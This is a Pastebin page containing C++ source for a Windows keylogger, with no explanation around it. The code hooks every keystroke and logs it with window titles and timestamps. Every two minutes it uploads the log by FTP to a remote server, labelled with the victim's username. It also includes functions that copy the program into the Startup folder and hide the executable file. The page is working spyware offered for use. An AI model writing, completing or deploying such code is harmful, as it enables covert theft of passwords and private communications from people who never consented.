Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include "stdafx.h"
- #pragma comment (lib,"wininet.lib")
- #include <windows.h>
- #include <wininet.h>
- #include <string>
- #include <fstream>
- #include <ctime>
- #include <Shlobj.h>
- #define LOG_TIME 1
- #define UPLOAD_TIME 2
- // Globals
- wchar_t *logfile = L"testlog.txt";
- wchar_t *hostname = L"FTP HOSTNAME";
- wchar_t *username = L"FTP USERNAME";
- wchar_t *password = L"FTP PASSWORD";
- std::wofstream file;
- std::wstring logbuffer;
- int write_to_file_interval = 10;
- int upload_interval = 2;
- std::wstring key = L"";
- int key_count = 0;
- bool shift_pressed = false;
- bool capslock_on = false;
- bool capital = false;
- std::wstring last_active_window = L"";
- bool upload_file(wchar_t *filename, wchar_t *uploaded_filename,
- wchar_t *hostname, wchar_t *username, wchar_t *password) {
- HINTERNET hInternet;
- HINTERNET hFtp;
- hInternet = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
- hFtp = InternetConnect(hInternet, hostname, INTERNET_DEFAULT_FTP_PORT,
- username, password, INTERNET_SERVICE_FTP, 0, 0);
- BOOL uploaded = FtpPutFile(hFtp, filename, uploaded_filename,
- FTP_TRANSFER_TYPE_BINARY, 0);
- InternetCloseHandle(hFtp);
- InternetCloseHandle(hInternet);
- return uploaded;
- }
- std::wstring get_active_window_title() {
- wchar_t title[256];
- HWND hwnd = GetForegroundWindow();
- GetWindowText(hwnd, title, sizeof(title));
- return title;
- }
- std::wstring get_date_and_time(int type) {
- time_t rawtime;
- struct tm *timeinfo;
- wchar_t date_and_time[256];
- time(&rawtime);
- timeinfo = localtime(&rawtime);
- switch (type) {
- case LOG_TIME:
- wcsftime(date_and_time, 256, L"%x_%X", timeinfo);
- break;
- case UPLOAD_TIME:
- wcsftime(date_and_time, 256,L"%m.%d.%y_%X", timeinfo);
- break;
- default:;
- }
- return date_and_time;
- }
- std::wstring generate_upload_file_name() {
- std::wstring file_name;
- std::wstring date_and_time = get_date_and_time(UPLOAD_TIME);
- wchar_t windows_username[256];
- DWORD length = sizeof(windows_username);
- GetUserName(windows_username, &length);
- file_name = windows_username;
- file_name.append(L"_" );
- file_name.append(date_and_time);
- file_name.append(L".txt");
- return file_name;
- }
- void move_to_startup(wchar_t *new_filename) {
- wchar_t file_path[MAX_PATH];
- wchar_t startup_path[MAX_PATH];
- //get path of running application
- GetModuleFileName(NULL, file_path, sizeof(file_path));
- //get startup folder path
- SHGetFolderPath(NULL, CSIDL_STARTUP, 0, NULL, startup_path);
- //concatenates new file name to the end of startup folder path
- _tcscat(startup_path, TEXT("\\"));
- _tcscat(startup_path, new_filename);
- std::wifstream fs(startup_path);
- if (!fs.good())
- MoveFile(file_path, startup_path);
- fs.close();
- }
- void hide_file() {
- wchar_t file_path[MAX_PATH];
- GetModuleFileName(NULL, file_path, sizeof(file_path));
- SetFileAttributes(file_path, FILE_ATTRIBUTE_HIDDEN);
- }
- LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam,
- LPARAM lParam) {
- PKBDLLHOOKSTRUCT keystroke = (PKBDLLHOOKSTRUCT)(lParam);
- if (wParam == WM_KEYUP) {
- switch (keystroke->vkCode) {
- case VK_RSHIFT:
- case VK_LSHIFT: shift_pressed = false;
- break;
- default:;
- }
- }
- if (wParam == WM_KEYDOWN) {
- capital = !shift_pressed != !capslock_on;
- if (last_active_window != get_active_window_title()) {
- last_active_window = get_active_window_title();
- logbuffer += L"\n\n[";
- logbuffer += get_date_and_time(LOG_TIME);
- logbuffer += L"] [" + last_active_window;
- logbuffer += L"]\n";
- }
- switch (keystroke->vkCode) {
- case VK_RSHIFT:
- case VK_LSHIFT: key = L"[SHIFT]"; shift_pressed = true;
- break;
- case VK_CAPITAL: key = L"[CAPSLOCK]"; capslock_on = !capslock_on;
- break;
- case VK_SPACE: key = L" ";
- break;
- case VK_RETURN: key = L"[ENTER]";
- break;
- case VK_BACK:
- case VK_DELETE: key = L"[DEL]";
- break;
- case VK_RIGHT: key = L"[RIGHT]";
- break;
- case VK_LEFT: key = L"[LEFT]";
- break;
- case VK_UP: key = L"[UP]";
- break;
- case VK_DOWN: key = L"[DOWN]";
- break;
- case VK_SNAPSHOT: key = L"[SCREENSHOT]";
- break;
- case 0x41: key = (capital) ? L"A" : L"a";
- break;
- case 0x42: key = (capital) ? L"B" : L"b";
- break;
- case 0x43: key = (capital) ? L"C" : L"c";
- break;
- case 0x44: key = (capital) ? L"D" : L"d";
- break;
- case 0x45: key = (capital) ? L"E" : L"e";
- break;
- case 0x46: key = (capital) ? L"F" : L"f";
- break;
- case 0x47: key = (capital) ? L"G" : L"g";
- break;
- case 0x48: key = (capital) ? L"H" : L"h";
- break;
- case 0x49: key = (capital) ? L"I" : L"i";
- break;
- case 0x4A: key = (capital) ? L"J" : L"j";
- break;
- case 0x4B: key = (capital) ? L"K" : L"k";
- break;
- case 0x4C: key = (capital) ? L"L" : L"l";
- break;
- case 0x4D: key = (capital) ? L"M" : L"m";
- break;
- case 0x4E: key = (capital) ? L"N" : L"n";
- break;
- case 0x4F: key = (capital) ? L"O" : L"o";
- break;
- case 0x50: key = (capital) ? L"P" : L"p";
- break;
- case 0x51: key = (capital) ? L"Q" : L"q";
- break;
- case 0x52: key = (capital) ? L"R" : L"r";
- break;
- case 0x53: key = (capital) ? L"S" : L"s";
- break;
- case 0x54: key = (capital) ? L"T" : L"t";
- break;
- case 0x55: key = (capital) ? L"U" : L"u";
- break;
- case 0x56: key = (capital) ? L"V" : L"v";
- break;
- case 0x57: key = (capital) ? L"W" : L"w";
- break;
- case 0x58: key = (capital) ? L"X" : L"x";
- break;
- case 0x59: key = (capital) ? L"Y" : L"y";
- break;
- case 0x5A: key = (capital) ? L"Z" : L"z";
- break;
- case 0x30: key = (shift_pressed) ? L")" : L"0";
- break;
- case 0x31: key = (shift_pressed) ? L"!" : L"1";
- break;
- case 0x32: key = (shift_pressed) ? L"@" : L"2";
- break;
- case 0x33: key = (shift_pressed) ? L"#" : L"3";
- break;
- case 0x34: key = (shift_pressed) ? L"$" : L"4";
- break;
- case 0x35: key = (shift_pressed) ? L"%" : L"5";
- break;
- case 0x36: key = (shift_pressed) ? L"^" : L"6";
- break;
- case 0x37: key = (shift_pressed) ? L"&" : L"7";
- break;
- case 0x38: key = (shift_pressed) ? L"*" : L"8";
- break;
- case 0x39: key = (shift_pressed) ? L"(" : L"9";
- break;
- default: key = L"";
- }
- if (key != L"") {
- logbuffer += key;
- key_count++;
- }
- if (key_count % write_to_file_interval == 0) {
- file.open(logfile, std::ios_base::app);
- file << logbuffer;
- logbuffer = L"";
- file.close();
- }
- }
- return CallNextHookEx(NULL, nCode, wParam, lParam);
- }
- void CALLBACK upload_timer(HWND hwnd, UINT uMsg, UINT timerId, DWORD dwTime) {
- if (logbuffer.size() > 0) {
- file.open(logfile, std::ios_base::app);
- file << logbuffer;
- file.close();
- logbuffer = L"";
- }
- std::ifstream in(logfile);
- if (in.is_open()) {
- in.seekg(0, in.end);
- size_t size = in.tellg();
- if (size > 0) {
- upload_file(logfile, &generate_upload_file_name()[0], hostname,
- username, password);
- file.open(logfile, std::ofstream::out | std::ofstream::trunc);
- file.close();
- }
- in.close();
- }
- }
- int APIENTRY wWinMain(_In_ HINSTANCE hInstance,
- _In_opt_ HINSTANCE hPrevInstance,
- _In_ LPWSTR lpCmdLine,
- _In_ int nCmdShow) {
- HHOOK kb_hook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc,
- hInstance, 0);
- MSG msg;
- SetTimer(NULL, 0, 1000*60*upload_interval, (TIMERPROC)&upload_timer);
- while (GetMessage(&msg, NULL, NULL, NULL)) {
- TranslateMessage(&msg);
- DispatchMessage(&msg);
- }
- UnhookWindowsHookEx(kb_hook);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement